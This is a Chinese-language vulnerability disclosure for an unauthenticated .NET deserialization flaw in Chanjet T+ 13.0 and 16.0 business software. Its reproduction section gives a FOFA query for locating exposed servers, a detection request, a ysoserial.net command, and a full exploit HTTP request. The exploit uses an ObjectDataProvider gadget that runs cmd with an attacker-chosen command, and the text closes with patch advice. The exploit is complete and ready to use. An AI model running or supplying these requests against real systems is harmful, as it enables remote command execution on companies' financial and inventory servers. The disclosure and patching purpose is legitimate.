0x01 产品简介
畅捷通 T+ 是一款基于互联网的新型企业管理软件,功能模块包括:财务管理、采购管理、库存管理等。主要针对中小型工贸和商贸企业的财务业务一体化应用,融入了社交化、移动化、物联网、电子商务、互联网信息订阅等元素。
0x02 漏洞概述
畅捷通 T+ 存在.net反序列化漏洞,未经过身份认证的攻击者可以通过构造恶意的序列化请求在目标服务器上执行任意命令。
0x03 影响范围
畅捷通 T+ 13.0
畅捷通 T+ 16.0
0x04 复现环境
FOFA:app="畅捷通-TPlus"
0x05 漏洞复现
该漏洞属于.net反序列化场景中的 JavaScriptSerializer反序列化;
简介:在.NET处理 Ajax应用的时候,通常序列化功能由JavaSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web..Serialization、通过System.Web.Extensions引用,让开发者轻松实现.Net中所有类型和Json数据之间的转换,但在某些场景下开发者使用Deserialize 或DeserializeObject方法处理不安全的Json数据时会造成反序列化攻击从而实现远程RCE漏洞。
PoC
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: your-ip
X-Ajaxpro-Method: GetStoreWarehouseByStore
{
"storeID":{}
}
PS:X-Ajaxpro-Method:用于指定在Ajax请求中要调用的服务器端方法的名称
出现这种情况,则存在漏洞
使用ysoserial.net工具构造payload(攻击链:ObjectDataProvider)
./ysoserial.exe -f JavaScriptSerializer -g ObjectDataProvider -c "执行的命令"
将生成的序列化数据加载到PoC中(PS:需要将里面的单引号替换成双引号)
exp:
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: your-ip
X-Ajaxpro-Method: GetStoreWarehouseByStore
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo": {
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd", "Arguments":"/c 执行的命令"
}
}
}
}
0x06 修复建议
目前官方已发布补丁更新,建议受影响用户尽快安装。
T+ 16.000.000.0283 及以上补丁包:
https://www.chanjetvip.com/product/goods/detail?id=6077e91b70fa071069139f62